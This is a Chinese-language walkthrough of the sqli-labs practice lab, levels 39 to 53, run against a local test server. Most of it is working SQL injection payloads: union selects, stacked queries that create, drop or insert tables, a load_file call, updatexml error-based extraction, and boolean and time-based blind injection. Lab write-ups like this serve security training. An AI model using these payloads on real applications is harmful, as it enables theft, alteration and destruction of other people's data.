Sqli-labs实验Task3(less39-53)
Less-39
这个没有闭合的,所以直接使用联合查询:
$ http://127.0.0.1/sqli-labs-master/Less-39/?id=0 union select 1,user(),database() -- #
Less-40
不同的闭合,多尝试几次。
$ http://127.0.0.1/sqli-labs-master/Less-40/?id=0') union select 1,user(),database() -- #
Less-41
和39一样:
$ http://127.0.0.1/sqli-labs-master/Less-41/?id=0 union select 1,user(),database() -- #
但是page-3里的肯定不会这么简单,看了看page-3的标题,这是叠加注入,那就得在搞点其他的测试了,就用less-41来试一试:
$ http://127.0.0.1/sqli-labs-master/Less-41/?id=1;create table test like users;-- #
创建一个和users结构一样的表test。
同理我们可以对表数据进行更新,比如更改用户密码,删除数据库,或者利用load_file函数上传文件,比如php文件。。。
$ http://127.0.0.1/sqli-labs-master/Less-41/?id=1;select load_file('c:/tmpupbbn.php');
Less-42
这里显示的是登陆框,结合这里的叠加注入,我们继续尝试新姿势。
登录框用户名随便填,密码填:
$ a';create table test2 like users; --
创建一个test2的表。
同理,我们可以删除这个表,和之前的操作一样,我们用户名随便填,叠加注入写入相应的语句就行:
$ a';drop table test2 ; --
其他的可以继续尝试。不同的数据库会有不同的语句,有兴趣的可以多学习。
Less-43
这个和上一个差不多,不过post传参的闭合方式为单引号加括号,相应的语句稍微改一改就行。
Less-44
这里和42其实相差不多,只不多这里没有了报错,但是注入语句还是一样的,我们写几个新语句大家看看。
插入数据:
$ a’; insert into users(id,username,password) values ('233','233','233'); --
Less-45
这个也一样,和43的闭合时一样的,单引号加括号,只不过这里是没有报错,会提示说你是一个傻hacker。。。但是我们自己可以去查看数据库发现自己的语句是被执行了的。
Less-46
我们可以看到46的标题变了,现在我们要进行的就是order by的注入测试了,具体什么意思的。就是我们之前的sql语句最后都是limit 0,1。现在是:
$ select * from users order by id;
这时候我们就不能用之前的进行访问了:
$ http://127.0.0.1/sqli-labs-master/Less-46/?sort=1
这个传参就是sort传的就是order by的值,sort=1表示按id排序,看一下:
这就是我们访问上面的url看到的页面,这时候我们就可以考虑考虑如何构造order by的注入语句。Order by后面可以接上面语句呢。
我们可以尝试使用mysql的updatexml的函数来达到注入获取敏感信息的目的:
$ http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and(updatexml(1,concat(0x7e,(select user())),0))
同样我们可以更改updatexml()函数里的第二个参数里的sql语句,来获取我们想要的信息。比如:
$ http://127.0.0.1/sqli-labs-master/Less-46/?sort=5 and(updatexml(1,concat(0x7e,(select email_id from emails limit 0,1)),0))
Less-47
这个一下就猜到加了闭合。。。不要问我为什么,套路熟悉了一下就破了:
$ http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and(updatexml(1,concat(0x7e,(select email_id from emails limit 0,1)),0)) -- #
Less-48
这个没有报错了,这时候我们就不能用XPATH报错来获取信息了。不过可以使用盲注。
可以利用sort=rand(true/false)进行判断。写一下我们的注入语句:
$ http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)
这是正确的情况:
这是错误的情况:
我们可以根据正确错误的不同返回值来获取信息。
更多关于updatexml的注入可查看:
www.freebuf.com/column/145988.html
Less-49
这一个无论我们输入什么得出的都是一样的,这个时候我们就不能用上面的方法了,不过可以用基于时间的盲注(单引号闭合):
$ http://127.0.0.1/sqli-labs-master/Less-49/?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))-- #
Less-50
从这里开始我们就开始新的,order by和叠加注入的挑战
$ http://127.0.0.1/sqli-labs-master/Less-50/?sort=1; insert into users values(1000,”root1”,”root1”)
Less-51
不用猜就知道加了闭合:
$ http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';create table test51 like users; --
Less-52
这个50一样,只是没有报错,payload也一样。
Less-53
这个和51一样,但是没有报错:
$ http://127.0.0.1/sqli-labs-master/Less-53/?sort=1';create table test53 like users; --
快结束了,还有最后page 4,也会在近期写完的。